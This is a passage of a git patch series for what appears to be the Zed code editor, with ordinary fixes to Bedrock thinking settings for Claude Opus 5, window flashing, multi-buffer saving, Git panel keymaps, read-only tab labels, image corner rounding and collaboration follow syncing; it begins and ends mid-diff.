         assert_eq!(ConverseModel::ClaudeSonnet5.max_token_count(), 1_000_000);
         assert_eq!(ConverseModel::Llama4Scout17B.max_token_count(), 128_000);
         assert_eq!(ConverseModel::NovaPremier.max_token_count(), 1_000_000);
@@ -1427,6 +1506,7 @@ mod tests {
         assert_eq!(ConverseModel::ClaudeSonnet4_5.max_output_tokens(), 64_000);
         assert_eq!(ConverseModel::ClaudeOpus4_6.max_output_tokens(), 128_000);
         assert_eq!(ConverseModel::ClaudeFable5.max_output_tokens(), 128_000);
+        assert_eq!(ConverseModel::ClaudeOpus5.max_output_tokens(), 128_000);
         assert_eq!(ConverseModel::ClaudeSonnet5.max_output_tokens(), 128_000);
         assert_eq!(ConverseModel::ClaudeOpus4_1.max_output_tokens(), 32_000);
         assert_eq!(ConverseModel::Gemma3_4B.max_output_tokens(), 8_192);
diff --git a/crates/language_models/src/provider/bedrock.rs b/crates/language_models/src/provider/bedrock.rs
index f27b379baf77bf..5601ee906f7f8b 100644
--- a/crates/language_models/src/provider/bedrock.rs
+++ b/crates/language_models/src/provider/bedrock.rs
@@ -2269,39 +2269,50 @@ pub fn into_bedrock(
         }
     }
 
+    let thinking = if request.thinking_allowed {
+        match thinking_mode {
+            BedrockModelMode::Thinking { budget_tokens } => {
+                Some(bedrock::Thinking::Enabled { budget_tokens })
+            }
+            BedrockModelMode::AdaptiveThinking {
+                effort: default_effort,
+            } => {
+                let effort = request
+                    .thinking_effort
+                    .as_deref()
+                    .and_then(|e| match e {
+                        "low" => Some(bedrock::BedrockAdaptiveThinkingEffort::Low),
+                        "medium" => Some(bedrock::BedrockAdaptiveThinkingEffort::Medium),
+                        "high" => Some(bedrock::BedrockAdaptiveThinkingEffort::High),
+                        "xhigh" => Some(bedrock::BedrockAdaptiveThinkingEffort::XHigh),
+                        "max" => Some(bedrock::BedrockAdaptiveThinkingEffort::Max),
+                        _ => None,
+                    })
+                    .unwrap_or(default_effort);
+                Some(bedrock::Thinking::Adaptive { effort })
+            }
+            BedrockModelMode::Default => None,
+        }
+    } else if model.contains(ConverseModel::ClaudeOpus5.request_id()) {
+        // On Claude Opus 5, omitting the `thinking` field no longer means
+        // "off": the model runs adaptive thinking by default, so features
+        // that suppress thinking (e.g. inline assist) must opt out
+        // explicitly. Earlier Claude models treat omission as "off" and must
+        // keep omitting the field. No effort accompanies the opt-out because
+        // `disabled` combined with effort `xhigh`/`max` is a 400.
+        // <https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-opus-5.html>
+        Some(bedrock::Thinking::Disabled)
+    } else {
+        None
+    };
+
     Ok(bedrock::Request {
         model,
         messages: new_messages,
         max_tokens: max_output_tokens,
         system: system_blocks,
         tools: tool_config,
-        thinking: if request.thinking_allowed {
-            match thinking_mode {
-                BedrockModelMode::Thinking { budget_tokens } => {
-                    Some(bedrock::Thinking::Enabled { budget_tokens })
-                }
-                BedrockModelMode::AdaptiveThinking {
-                    effort: default_effort,
-                } => {
-                    let effort = request
-                        .thinking_effort
-                        .as_deref()
-                        .and_then(|e| match e {
-                            "low" => Some(bedrock::BedrockAdaptiveThinkingEffort::Low),
-                            "medium" => Some(bedrock::BedrockAdaptiveThinkingEffort::Medium),
-                            "high" => Some(bedrock::BedrockAdaptiveThinkingEffort::High),
-                            "xhigh" => Some(bedrock::BedrockAdaptiveThinkingEffort::XHigh),
-                            "max" => Some(bedrock::BedrockAdaptiveThinkingEffort::Max),
-                            _ => None,
-                        })
-                        .unwrap_or(default_effort);
-                    Some(bedrock::Thinking::Adaptive { effort })
-                }
-                BedrockModelMode::Default => None,
-            }
-        } else {
-            None
-        },
+        thinking,
         metadata: None,
         stop_sequences: Vec::new(),
         temperature: request.temperature.or(Some(default_temperature)),
@@ -2900,6 +2911,54 @@ mod tests {
         .unwrap()
     }
 
+    #[test]
+    fn test_thinking_disallowed_sends_explicit_opt_out_only_on_opus_5() {
+        // Claude Opus 5 runs adaptive thinking by default when the `thinking`
+        // field is omitted, so suppressing thinking requires an explicit
+        // `disabled` opt-out. Earlier Claude models treat omission as "off".
+        for (model, expects_explicit_opt_out) in [
+            ("us.anthropic.claude-opus-5", true),
+            ("global.anthropic.claude-opus-5", true),
+            ("us.anthropic.claude-opus-4-8", false),
+        ] {
+            let request = into_bedrock(
+                LanguageModelRequest {
+                    messages: vec![LanguageModelRequestMessage {
+                        role: Role::User,
+                        content: vec![MessageContent::Text("Hi".into())],
+                        cache: false,
+                        reasoning_details: None,
+                    }],
+                    thinking_allowed: false,
+                    ..Default::default()
+                },
+                model.to_string(),
+                1.0,
+                128_000,
+                BedrockModelMode::AdaptiveThinking {
+                    effort: bedrock::BedrockAdaptiveThinkingEffort::High,
+                },
+                true,
+                true,
+                None,
+                None,
+            )
+            .unwrap();
+
+            if expects_explicit_opt_out {
+                assert!(
+                    matches!(request.thinking, Some(bedrock::Thinking::Disabled)),
+                    "{model} should send an explicit thinking opt-out"
+                );
+            } else {
+                assert!(
+                    request.thinking.is_none(),
+                    "{model} should omit the thinking field entirely"
+                );
+            }
+        }
+    }
+
     #[test]
     fn test_cache_marked_message_that_filters_to_empty_is_dropped() {
         let request = into_bedrock_request(vec![

From 50e399332c120cc67a616fd637888bffc70e7906 Mon Sep 17 00:00:00 2001
From: John Tur <john-tur@outlook.com>
Date: Fri, 24 Jul 2026 17:44:30 -0400
Subject: [PATCH 690/772] gpui_windows: Only flash the window once on
 request_attention (#61611)

The current behavior bothers me.

Release Notes:

- N/A
---
 crates/gpui_windows/src/window.rs | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/crates/gpui_windows/src/window.rs b/crates/gpui_windows/src/window.rs
index a8ee1bbb139197..99d095f9aabd65 100644
--- a/crates/gpui_windows/src/window.rs
+++ b/crates/gpui_windows/src/window.rs
@@ -842,8 +842,8 @@ impl PlatformWindow for WindowsWindow {
                 let info = FLASHWINFO {
                     cbSize: std::mem::size_of::<FLASHWINFO>() as u32,
                     hwnd,
-                    dwFlags: FLASHW_ALL | FLASHW_TIMERNOFG,
-                    uCount: 0,
+                    dwFlags: FLASHW_ALL,
+                    uCount: 1,
                     dwTimeout: 0,
                 };
                 unsafe { FlashWindowEx(&info).ok().log_err() };

From 051e5c6a889b529895282dd377e31715f81cd030 Mon Sep 17 00:00:00 2001
From: Ibrahim Khan <2005ibrahimkhan@gmail.com>
Date: Fri, 24 Jul 2026 15:19:11 -0700
Subject: [PATCH 691/772] editor: Skip untitled buffers when saving a
 multi-buffer (#61380)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #60041.

## Summary

When Project Search results contain both a saved file and an untitled
buffer, running `workspace: reload` did nothing (quitting hit the same
path). The log showed:

```
ERROR [.../workspace.rs] buffer doesn't have a file
```

## Root cause

The Project Search results view is an `Editor` over a multi-buffer, and
its `Item::save` delegates to `Editor::save`. For a multi-buffer,
`Editor::save` collects every dirty buffer and calls
`Project::save_buffers`. An untitled excerpt has no file, so
`BufferStore::save_buffer` returns `Err("buffer doesn't have a file")`.
That error propagates through `Pane::save_item` → `save_all_internal` →
`prepare_to_close`, which then reports the workspace as not ready to
close, so `reload`/quit silently aborts.

A singleton untitled buffer avoids this because `Editor::can_save`
returns `false` for it (the workspace routes it to `save_as`); for a
multi-buffer, `can_save` is always `true`.

## Fix

Exclude file-less (untitled) buffers when collecting the buffers to save
for a multi-buffer. Untitled buffers can only be written via `save_as`,
so a bulk multi-buffer save now persists the file-backed excerpts and
leaves untitled ones untouched. This also addresses the same latent
issue in other multi-buffer views (diagnostics, find-all-references)
that can excerpt an untitled buffer.

## Testing

- Added `test_save_multi_buffer_with_untitled_buffer_skips_untitled` in
`crates/editor/src/items.rs`: it builds a multi-buffer over a
file-backed buffer and an untitled buffer (both dirty), then asserts
`save` succeeds, the file-backed buffer is persisted, and the untitled
buffer stays dirty. Fails before this change (`buffer doesn't have a
file`), passes after.
- `cargo test -p editor --lib save` (13 tests) and `cargo test -p search
--lib project_search` (22 tests) pass.
- `./script/clippy -p editor` is clean.

Manual repro (before): new untitled buffer with text → Project Search
for a term matching both it and a saved file → `workspace: reload` →
no-op with `buffer doesn't have a file` in the log. After: reload
proceeds.

Release Notes:

- Fixed `workspace: reload` and quitting silently doing nothing when
Project Search results included an unsaved untitled buffer.
---
 crates/editor/src/items.rs | 94 +++++++++++++++++++++++++++++++++++++-
 1 file changed, 93 insertions(+), 1 deletion(-)

diff --git a/crates/editor/src/items.rs b/crates/editor/src/items.rs
index f515ed19fa7bad..73f1a91af16f34 100644
--- a/crates/editor/src/items.rs
+++ b/crates/editor/src/items.rs
@@ -964,7 +964,13 @@ impl Item for Editor {
         } else {
             buffers
                 .into_iter()
-                .filter(|buffer| buffer.read(cx).is_dirty())
+                // Skip untitled buffers: a multi-buffer (e.g. project search results) can
+                // excerpt a buffer with no file on disk, which can only be persisted via
+                // `save_as`. Trying to save it here errors and aborts the whole save.
+                .filter(|buffer| {
+                    let buffer = buffer.read(cx);
+                    buffer.is_dirty() && buffer.file().is_some()
+                })
                 .collect()
         };
 
@@ -3283,4 +3289,90 @@ mod tests {
             assert_eq!(r.end.row, 3, "merged range should end at row 3");
         });
     }
+
+    // Regression test for a multi-buffer (e.g. project search results) that excerpts
+    // an untitled buffer alongside a file-backed one. Saving used to error out with
+    // "buffer doesn't have a file", which aborted `workspace: reload` and quit flows.
+    #[gpui::test]
+    async fn test_save_multi_buffer_with_untitled_buffer_skips_untitled(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx, |_| {});
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(path!("/dir"), json!({ "file.txt": "the cat sat" }))
+            .await;
+        let project = Project::test(fs.clone(), [path!("/dir").as_ref()], cx).await;
+        let window =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let cx = &mut VisualTestContext::from_window(*window, cx);
+
+        let file_buffer = project
+            .update(cx, |project, cx| {
+                project.open_local_buffer(path!("/dir/file.txt"), cx)
+            })
+            .await
+            .unwrap();
+        let untitled_buffer = project.update(cx, |project, cx| {
+            project.create_local_buffer("the cat", None, false, cx)
+        });
+
+        // Make both buffers dirty so both are candidates to be saved.
+        file_buffer.update(cx, |buffer, cx| {
+            buffer.edit([(0..0, "X")], None, cx);
+        });
+        untitled_buffer.update(cx, |buffer, cx| {
+            buffer.edit([(0..0, "Y")], None, cx);
+        });
+
+        let multi_buffer = cx.new(|cx| {
+            let mut multi_buffer = MultiBuffer::new(project.read(cx).capability());
+            multi_buffer.set_excerpts_for_path(
+                PathKey::sorted(0),
+                file_buffer.clone(),
+                [Point::new(0, 0)..Point::new(0, 3)],
+                0,
+                cx,
+            );
+            multi_buffer.set_excerpts_for_path(
+                PathKey::sorted(1),
+                untitled_buffer.clone(),
+                [Point::new(0, 0)..Point::new(0, 3)],
+                0,
+                cx,
+            );
+            multi_buffer
+        });
+        let editor = cx.new_window_entity(|window, cx| {
+            Editor::for_multibuffer(multi_buffer, Some(project.clone()), window, cx)
+        });
+        cx.run_until_parked();
+
+        editor.update(cx, |editor, cx| {
+            assert!(!editor.buffer().read(cx).is_singleton());
+        });
+
+        let save = editor.update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: false,
+                    force_format: false,
+                    autosave: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        });
+        save.await
+            .expect("saving a multi-buffer that excerpts an untitled buffer should not error");
+        cx.run_until_parked();
+
+        // The file-backed buffer is saved; the untitled buffer is skipped and stays dirty.
+        file_buffer.update(cx, |buffer, _| assert!(!buffer.is_dirty()));
+        untitled_buffer.update(cx, |buffer, _| {
+            assert!(buffer.file().is_none());
+            assert!(buffer.is_dirty());
+        });
+    }
 }

From 43b5360ac8455c9f917fa342e4081c76434cb5ed Mon Sep 17 00:00:00 2001
From: Mikhail Pertsev <arthasmontano@mail.ru>
Date: Sat, 25 Jul 2026 00:33:12 +0200
Subject: [PATCH 692/772] git_ui: Prevent Git panel bindings in repository
 selector (#61282)

# Objective

Fix Git panel keybindings intercepting input intended for the repository
selector.

With Vim mode enabled, pressing `i` in the selector focused the
commit-message editor instead of filtering repositories. Platform
keybindings could also intercept printable input such as spaces.

Fixes #57936

## Solution

Exclude the `GitRepositorySelector` context from the Git panel
changes-list bindings in the macOS, Linux, Windows, and Vim keymaps.

## Testing

Manually tested on macOS using a debug build with Vim mode enabled and a
workspace containing two Git repositories

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed Git repository selector input being intercepted by Git panel
keybindings, including in Vim mode.

Co-authored-by: Nathan Sobo <nathan@zed.dev>
---
 assets/keymaps/default-linux.json   | 2 +-
 assets/keymaps/default-macos.json   | 2 +-
 assets/keymaps/default-windows.json | 2 +-
 assets/keymaps/vim.json             | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 2b911f35c55a4b..ffa1fc54562d46 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -1012,7 +1012,7 @@
     },
   },
   {
-    "context": "GitPanel && ChangesList && !GitBranchSelector",
+    "context": "GitPanel && ChangesList && !GitBranchSelector && !GitRepositorySelector",
     "bindings": {
       "left": "git_panel::CollapseSelectedEntry",
       "right": "git_panel::ExpandSelectedEntry",
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index b44a32c0860bb0..9aa17d53025fb6 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -1071,7 +1071,7 @@
     },
   },
   {
-    "context": "GitPanel && ChangesList && !GitBranchSelector",
+    "context": "GitPanel && ChangesList && !GitBranchSelector && !GitRepositorySelector",
     "use_key_equivalents": true,
     "bindings": {
       "up": "git_panel::PreviousEntry",
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index 2dabb3931202a6..b9adaf88dd359b 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -1005,7 +1005,7 @@
     },
   },
   {
-    "context": "GitPanel && ChangesList && !GitBranchSelector",
+    "context": "GitPanel && ChangesList && !GitBranchSelector && !GitRepositorySelector",
     "use_key_equivalents": true,
     "bindings": {
       "up": "git_panel::PreviousEntry",
diff --git a/assets/keymaps/vim.json b/assets/keymaps/vim.json
index a8d218cb0b7018..915e961e373685 100644
--- a/assets/keymaps/vim.json
+++ b/assets/keymaps/vim.json
@@ -1088,7 +1088,7 @@
     },
   },
   {
-    "context": "GitPanel && ChangesList && !GitBranchSelector",
+    "context": "GitPanel && ChangesList && !GitBranchSelector && !GitRepositorySelector",
     "use_key_equivalents": true,
     "bindings": {
       "k": "menu::SelectPrevious",

From d23aaeebeafd509ff089cc822edd64ccce585181 Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Fri, 24 Jul 2026 23:54:30 +0100
Subject: [PATCH 693/772] workspace: Rename read-only tab controls from File to
 Tab (#61202)

## Context

The editor tab's read-only controls used "File" terminology in their
tooltips and the tab context menu ("Make File Read-Only", "Locked File",
"Read-Only File", etc.). This was misleading in two ways: the option
also appears on unsaved and non-file tabs that have no file on disk, and
the toggle only controls whether the buffer is editable in the editor,
it does not change filesystem permissions. This renames the labels to
lock/unlock "Tab" language, matching the lock icon shown when the tab is
toggled.

Closes #60079.

Behavior after the change :

[Screencast from 2026-07-17
15-35-30.webm](https://github.com/user-attachments/assets/5fb018cb-515f-449c-a57e-0c0bead250bd)


## How to Review

1 file changed:

**crates/workspace/src/pane.rs**
Renames three sets of user-facing strings, all pure text changes with no
behavior change. The read-only toggle button tooltips become "Unlock
Tab" / "This will make this tab editable" and "Locked Tab" / "This tab
is read-only". The tab tooltip meta label becomes "Read-Only Tab". The
context menu entry, whose label already depends on
`capability.editable()`, becomes "Lock Tab for Editing" (when currently
editable) and "Unlock Tab for Editing" (when currently read-only); the
click handler still calls `toggle_read_only`, so the mapping from label
to action is preserved.

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Improved read-only tab controls to use "Tab" instead of "File" in
tooltips and the tab context menu, since the toggle affects editability
in the editor rather than filesystem permissions.

---------

Co-authored-by: Nathan Sobo <nathan@zed.dev>
---
 crates/workspace/src/pane.rs | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/crates/workspace/src/pane.rs b/crates/workspace/src/pane.rs
index 32072f17728ed3..3f8a4c83bfc369 100644
--- a/crates/workspace/src/pane.rs
+++ b/crates/workspace/src/pane.rs
@@ -2875,13 +2875,13 @@ impl Pane {
                 .tooltip(move |_, cx| {
                     if toggleable {
                         Tooltip::with_meta(
-                            "Unlock File",
+                            "Unlock Tab",
                             None,
-                            "This will make this file editable",
+                            "This will make this tab editable",
                             cx,
                         )
                     } else {
-                        Tooltip::with_meta("Locked File", None, "This file is read-only", cx)
+                        Tooltip::with_meta("Locked Tab", None, "This tab is read-only", cx)
                     }
                 })
                 .on_click(cx.listener(move |pane, _, window, cx| {
@@ -3058,7 +3058,7 @@ impl Pane {
                             } else {
                                 this.tooltip(move |_, cx| {
                                     let text = text.clone();
-                                    Tooltip::with_meta(text, None, "Read-Only File", cx)
+                                    Tooltip::with_meta(text, None, "Read-Only Tab", cx)
                                 })
                             }
                         }
@@ -3240,9 +3240,9 @@ impl Pane {
 
                         if capability != Capability::ReadOnly {
                             let read_only_label = if capability.editable() {
-                                "Make File Read-Only"
+                                "Make Tab Read-Only"
                             } else {
-                                "Make File Editable"
+                                "Make Tab Editable"
                             };
                             menu = menu.separator().entry(
                                 read_only_label,

From 58df5a14ce946fa27b14194d9d2fce8f87b1c331 Mon Sep 17 00:00:00 2001
From: Pingy <76990079+pingpong74@users.noreply.github.com>
Date: Sat, 25 Jul 2026 05:33:32 +0530
Subject: [PATCH 694/772] gpui: Fix images not being drawn with rounded corners
 when using ObjectFit::Cover (#61383)

# Objective

Fixes #44339

## Solution

The issue was taking place as image bounds where larger than the view
bounds. Hence, the rounding of the image happened outside the view
bounds, hence the corners where not rounded.
This solution changed the paint_image function in window.rs. Now, it
takes in 2 parameters, image bounds and bounds of the area to be draw.
Then, the function creates the tile field of PolychromeSprite by
cropping the image to fit the area to be drawn. This ensures that the
rounding happens correctly.

## Testing
Testing was done as per the issue and results where verified visually.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<img width="1409" height="1030" alt="image"
src="https://github.com/user-attachments/assets/3645b36d-f182-4853-bdfe-d66a4132d273"
/>


## Release Notes:

Fixed rounded corners not rendering on images when using
ObjectFit::Cover

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
Co-authored-by: Nathan Sobo <nathan@zed.dev>
---
 crates/gpui/src/elements/img.rs | 91 +++++++++++++++++++++++++++++++--
 crates/gpui/src/window.rs       | 69 ++++++++++++++++++++++---
 2 files changed, 150 insertions(+), 10 deletions(-)

diff --git a/crates/gpui/src/elements/img.rs b/crates/gpui/src/elements/img.rs
index 7e92ecba3d0ef4..0b571a6f431e6f 100644
--- a/crates/gpui/src/elements/img.rs
+++ b/crates/gpui/src/elements/img.rs
@@ -488,12 +488,10 @@ impl Element for Img {
                         .style
                         .object_fit
                         .get_bounds(bounds, data.size(layout_state.frame_index));
-                    let corner_radii = style
-                        .corner_radii
-                        .to_pixels(window.rem_size())
-                        .clamp_radii_for_quad_size(new_bounds.size);
+                    let corner_radii = style.corner_radii.to_pixels(window.rem_size());
                     window
                         .paint_image(
+                            bounds,
                             new_bounds,
                             corner_radii,
                             data,
@@ -802,6 +800,11 @@ mod tests {
         )))
     }
 
+    fn test_image_with_size(width: u32, height: u32) -> Arc<RenderImage> {
+        let frame = Frame::new(ImageBuffer::from_pixel(width, height, Rgba([0, 0, 0, 0])));
+        Arc::new(RenderImage::new(SmallVec::from_elem(frame, 1)))
+    }
+
     /// Overwrites the cached `frame_index` of the sibling `img` during paint.
     fn seed_frame_index(frame_index: usize) -> impl IntoElement {
         canvas(
@@ -826,6 +829,86 @@ mod tests {
             });
     }
 
+    #[gpui::test]
+    fn image_object_fit_cover_crops_to_element_bounds(cx: &mut TestAppContext) {
+        let window = cx.add_empty_window();
+        let image = test_image_with_size(200, 100);
+        window.draw(point(px(0.), px(0.)), size(px(100.), px(100.)), |_, _| {
+            img(ImageSource::Render(image.clone()))
+                .size_full()
+                .object_fit(ObjectFit::Fill)
+                .into_any_element()
+        });
+        let full_tile_bounds = window.update(|window, _| {
+            window
+                .rendered_frame
+                .scene
+                .polychrome_sprites
+                .last()
+                .expect("fill image should paint a sprite")
+                .tile
+                .bounds
+        });
+
+        window.draw(point(px(10.), px(20.)), size(px(100.), px(100.)), |_, _| {
+            img(ImageSource::Render(image))
+                .size_full()
+                .object_fit(ObjectFit::Cover)
+                .into_any_element()
+        });
+
+        let (rendered_bounds, rendered_tile_bounds, scale_factor) = window.update(|window, _| {
+            let sprite = window
+                .rendered_frame
+                .scene
+                .polychrome_sprites
+                .last()
+                .expect("cover image should paint a sprite");
+            (sprite.bounds, sprite.tile.bounds, window.scale_factor())
+        });
+        assert_eq!(
+            rendered_bounds,
+            Bounds {
+                origin: point(px(10.).scale(scale_factor), px(20.).scale(scale_factor)),
+                size: size(px(100.).scale(scale_factor), px(100.).scale(scale_factor)),
+            }
+        );
+        assert_eq!(
+            (
+                rendered_tile_bounds.origin.x.0 - full_tile_bounds.origin.x.0,
+                rendered_tile_bounds.origin.y.0 - full_tile_bounds.origin.y.0,
+                rendered_tile_bounds.size.width.0,
+                rendered_tile_bounds.size.height.0,
+            ),
+            (50, 0, 100, 100),
+        );
+    }
+
+    #[gpui::test]
+    fn image_object_fit_cover_clamps_corner_radii_to_visible_bounds(cx: &mut TestAppContext) {
+        let window = cx.add_empty_window();
+        window.draw(point(px(0.), px(0.)), size(px(100.), px(100.)), |_, _| {
+            img(ImageSource::Render(test_image_with_size(200, 100)))
+                .size_full()
+                .rounded(px(100.))
+                .object_fit(ObjectFit::Cover)
+                .into_any_element()
+        });
+
+        let (corner_radius, expected_corner_radius) = window.update(|window, _| {
+            (
+                window
+                    .rendered_frame
+                    .scene
+                    .polychrome_sprites
+                    .last()
+                    .map(|sprite| sprite.corner_radii.top_left),
+                px(50.).scale(window.scale_factor()),
+            )
+        });
+        assert_eq!(corner_radius, Some(expected_corner_radius));
+    }
+
     #[gpui::test]
     fn stale_frame_index_is_clamped_when_image_changes(cx: &mut TestAppContext) {
         let window = cx.add_empty_window();
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 312d797876bcfa..6e85b9989dcdb2 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -2,8 +2,8 @@
 use crate::Inspector;
 use crate::{
     Action, AnyDrag, AnyElement, AnyImageCache, AnyTooltip, AnyView, App, AppContext, Arena, Asset,
-    AsyncWindowContext, AvailableSpace, Background, BorderStyle, Bounds, BoxShadow, Capslock,
-    Context, Corners, CursorHideMode, CursorStyle, Decorations, DevicePixels,
+    AsyncWindowContext, AtlasTile, AvailableSpace, Background, BorderStyle, Bounds, BoxShadow,
+    Capslock, Context, Corners, CursorHideMode, CursorStyle, Decorations, DevicePixels,
     DispatchActionListener, DispatchNodeId, DispatchTree, DisplayId, Edges, Effect, Entity,
     EntityId, EventEmitter, FileDropEvent, FontId, Global, GlobalElementId, GlyphId, GpuSpecs,
     Hsla, InputHandler, IsZero, KeyBinding, KeyContext, KeyDownEvent, KeyEvent, Keystroke,
@@ -4356,9 +4356,14 @@ impl Window {
     /// This method will panic if the frame_index is not valid
     ///
     /// This method should only be called as part of the paint phase of element drawing.
+    /// Paint an image into `bounds`, positioning and scaling it according to `image_bounds`.
+    ///
+    /// The visible region rendered is `bounds.intersect(&image_bounds)`, with `corner_radii`
+    /// applied to `bounds`.
     pub fn paint_image(
         &mut self,
         bounds: Bounds<Pixels>,
+        image_bounds: Bounds<Pixels>,
         corner_radii: Corners<Pixels>,
         data: Arc<RenderImage>,
         frame_index: usize,
@@ -4366,7 +4371,14 @@ impl Window {
     ) -> Result<()> {
         self.invalidator.debug_assert_paint();
 
-        let bounds = self.snap_bounds(bounds);
+        let visible_bounds = bounds.intersect(&image_bounds);
+        if visible_bounds.size.width <= Pixels::ZERO || visible_bounds.size.height <= Pixels::ZERO {
+            return Ok(());
+        }
+        if image_bounds.size.width <= Pixels::ZERO || image_bounds.size.height <= Pixels::ZERO {
+            return Ok(());
+        }
+
         let params = RenderImageParams {
             image_id: data.id,
             frame_index,
@@ -4384,18 +4396,63 @@ impl Window {
                 )))
             })?
             .expect("Callback above only returns Some");
+
+        let visible_bounds_snapped = self.snap_bounds(visible_bounds);
+
+        let sub_tile = if visible_bounds == image_bounds {
+            tile
+        } else {
+            let x_offset_ratio =
+                (visible_bounds.origin.x - image_bounds.origin.x) / image_bounds.size.width;
+            let y_offset_ratio =
+                (visible_bounds.origin.y - image_bounds.origin.y) / image_bounds.size.height;
+            let width_ratio = visible_bounds.size.width / image_bounds.size.width;
+            let height_ratio = visible_bounds.size.height / image_bounds.size.height;
+
+            let tile_origin_x = tile.bounds.origin.x.0;
+            let tile_origin_y = tile.bounds.origin.y.0;
+            let tile_width = tile.bounds.size.width.0;
+            let tile_height = tile.bounds.size.height.0;
+
+            let sub_origin_x = tile_origin_x + (x_offset_ratio * tile_width as f32).round() as i32;
+            let sub_origin_y = tile_origin_y + (y_offset_ratio * tile_height as f32).round() as i32;
+            let sub_width = (width_ratio * tile_width as f32).round() as i32;
+            let sub_height = (height_ratio * tile_height as f32).round() as i32;
+
+            let max_x = tile_origin_x + tile_width;
+            let max_y = tile_origin_y + tile_height;
+
+            let clamped_origin_x = sub_origin_x.clamp(tile_origin_x, max_x);
+            let clamped_origin_y = sub_origin_y.clamp(tile_origin_y, max_y);
+            let clamped_width = sub_width.min(max_x - clamped_origin_x).max(0);
+            let clamped_height = sub_height.min(max_y - clamped_origin_y).max(0);
+
+            AtlasTile {
+                bounds: Bounds {
+                    origin: point(
+                        DevicePixels(clamped_origin_x),
+                        DevicePixels(clamped_origin_y),
+                    ),
+                    size: size(DevicePixels(clamped_width), DevicePixels(clamped_height)),
+                },
+                ..tile
+            }
+        };
+
         let content_mask = self.snapped_content_mask();
-        let corner_radii = corner_radii.scale(self.scale_factor());
+        let corner_radii = corner_radii
+            .clamp_radii_for_quad_size(visible_bounds.size)
+            .scale(self.scale_factor());
         let opacity = self.element_opacity();
 
         self.next_frame.scene.insert_primitive(PolychromeSprite {
             order: 0,
             pad: 0,
             grayscale: grayscale.into(),
-            bounds,
+            bounds: visible_bounds_snapped,
             content_mask,
             corner_radii,
-            tile,
+            tile: sub_tile,
             opacity,
         });
         Ok(())

From dbdea5834972e9eeaa2d6cf5948485b9ae122a67 Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Sat, 25 Jul 2026 06:39:45 +0300
Subject: [PATCH 695/772] collab: Fix multiworkspace location out of sync bugs
 (#61598)

### Summary

This PR fixes three small bugs that could cause a multi-workspace's
reported location to be out of sync with its actual location, which
causes following to break in multiplayer collaboration sessions.

The first bug was that each child workspace's title bar within a
multi-workspace had its own `cx.observe_window_activation` subscription
that would set the associated child workspace's project location. This
caused problems because it ran for all child workspaces instead of just
the active workspace within the multi-workspace. The fix was moving
`cx.observe_window_activation` to the `cx.observe_new` call in the
`call` crate that tracks newly created windows/multi-workspaces.

The second bug was caused by an incorrect `if` statement in a
`MultiWorkspace` subscription that would return early if the window was
active and the event emitted by `MultiWorkspace` wasn't
`ActiveWorkspaceChanged`. This caused issues when the window was
inactive because it would incorrectly set the active call's location to
the wrong project. The fix was making the early return happen if the
window wasn't active.

The third bug was that every child `Workspace` also observed window
activation and called `update_active_view_for_followers`. This allowed
hidden workspaces to report their active view instead of only the active
workspace.

### Testing

I added a property test for bugs one/two and another prop test for bug 3


Release Notes:

- collab: Fix out of sync following bugs
---
 Cargo.lock                                    |   1 +
 crates/call/src/call_impl/mod.rs              |  40 +-
 crates/collab/Cargo.toml                      |   1 +
 .../tests/integration/following_tests.rs      | 439 +++++++++++++++++-
 crates/title_bar/src/title_bar.rs             |  18 -
 crates/workspace/src/workspace.rs             |   2 -
 6 files changed, 472 insertions(+), 29 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 683e918ccd6e54..8c6c525480f04f 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -3485,6 +3485,7 @@ dependencies = [
  "theme",
  "theme_settings",
  "time",
+ "title_bar",
  "tokio",
  "toml 0.8.23",
  "tower 0.4.13",
diff --git a/crates/call/src/call_impl/mod.rs b/crates/call/src/call_impl/mod.rs
index 6b87c4d85552c5..702242b13384a9 100644
